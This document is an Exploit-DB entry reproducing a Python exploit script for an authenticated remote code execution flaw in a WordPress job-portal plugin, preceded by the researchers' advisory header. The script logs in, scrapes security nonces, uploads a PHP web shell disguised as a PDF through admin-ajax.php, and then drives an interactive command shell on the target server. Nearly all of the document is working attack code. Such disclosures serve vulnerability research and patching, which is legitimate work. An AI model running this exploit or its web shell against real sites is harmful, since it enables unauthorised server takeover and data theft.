Exploit-DB #39848
Description: WordPress Plugin Job Script by Scubez - Remote Code Execution
Type: webapps
Platform: php
Date: 2016-05-23
Author: Bikramaditya Guha

Exploit:
#!C:/Python27/python.exe -u
#
#
# JobScript Remote Code Execution Exploit
#
#
# Vendor: Jobscript
# Product web page: http://www.jobscript.in
# Affected version: Unknown
#
# Summary: JobScript is inbuilt structured website was developed in PHP and MySQL 
# database. It's a complete job script for those who wants to start a professional 
# job portal website like naukri.com, monster.com, clickjobs.com or any such major 
# job portals. Jobscript was designed and developed with the following features like 
# control panel for Employer's and also for Job Seeker's, email alerts, job search, 
# online resume, payment and membership plans. 
#
# Desc: JobScript suffers from an authenticated arbitrary PHP code execution. The 
# vulnerability is caused due to the improper verification of uploaded files in 
# '/admin-ajax.php' script thru the 'name' and 'file' POST parameters. This can 
# be exploited to execute arbitrary PHP code by uploading a malicious PHP script 
# file with '.php' extension (to bypass the '.htaccess' block rule) that will be 
# stored in '/jobmonster/wp-content/uploads/jobmonster/' directory.
#
# Tested on: Apache 2.4.9
#            PHP 5.4.26
#
# Vulnerability discovered by Bikramaditya 'PhoenixX' Guha
#
# Zero Science Lab - http://www.zeroscience.mk
# Macedonian Information Security Research And Development Laboratory
#
#
# Advisory ID: ZSL-2016-5322
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5322.php
#
#
# 31.03.2016
#

import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import os, time, re, requests, httplib

from cStringIO import StringIO
from urllib2 import URLError

global file, file1
file = ';nonce'
file1 = '"security"'

host = sys.argv[1]

cj = cookielib.CookieJar()
opener2 = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

prelogin = opener2.open('http://'+host+'/jobmonster/member-2/')
output = prelogin.read()

for line in output.splitlines():
    if file1 in line:
             security = str(line.split("=")[4:])[3:13]
             break

print 'Login please.'

username = raw_input('Enter username: ')
password = raw_input('Enter password: ')

login_data = urllib.urlencode({
                            'action' : 'noo_ajax_login',
                            'log' : username,
                            'pwd' : password,
                            'remember' : 'false',
                            'security' : security,
                            'redirect_to' : 'http%3A%2F%2Fcscript.in%2Fjobmonster%2Fmember-2%3Fpagename%3Dmember-2%26logged_in%3D1'                            
                            })

login = opener2.open('http://'+host+'/jobmonster/wp-admin/admin-ajax.php', login_data)
auth = login.read()

if re.search(r'false', auth):
    print 'Incorrect username or password'
    sys.exit()
else:
    print 'Authenticated'
	
response = opener2.open('http://'+host+'/jobmonster/member-2/?pagename=member-2&logged_in=1')
response = opener2.open('http://'+host+'/jobmonster/post-a-resume/?action=resume_general')
output = response.read()

for line in output.splitlines():
    if file in line:
            nonce = str(line.split("=")[3:])[28:38]

headers = {'User-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0','Referer':'\'http://'+host+'/jobmonster/post-a-resume/?action=resume_general\'','Accept-Language':'en-US,en;q=0.5','Content-type':'multipart/form-data; boundary=--------------------------[PII_REDACTED]2572','Connection':'close','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Encoding':'gzip, deflate','Content-length':'335'}

body = """----------------------------[PII_REDACTED]2572
Content-Disposition: form-data; name="name"

RCE.php
----------------------------[PII_REDACTED]2572
Content-Disposition: form-data; name="file"; filename="RCE.php"
Content-Type: application/pdf

<?php
system($_GET['cmd']);
?>

----------------------------[PII_REDACTED]2572--"""

response = requests.post('http://'+host+'/jobmonster/wp-admin/admin-ajax.php?action=noo_plupload&nonce='+nonce+'', data=body, headers=headers, cookies=cj)

raw_input()
while True:
    try:
        cmd = raw_input('shell@'+host+':~# ')
        execute = opener2.open('http://'+host+'/jobmonster/wp-content/uploads/jobmonster/RCE.php?cmd='+urllib.quote(cmd))
        reverse = execute.read()
        print reverse
        
        if cmd.strip() == 'exit':
            break

    except Exception:
        break

sys.exit()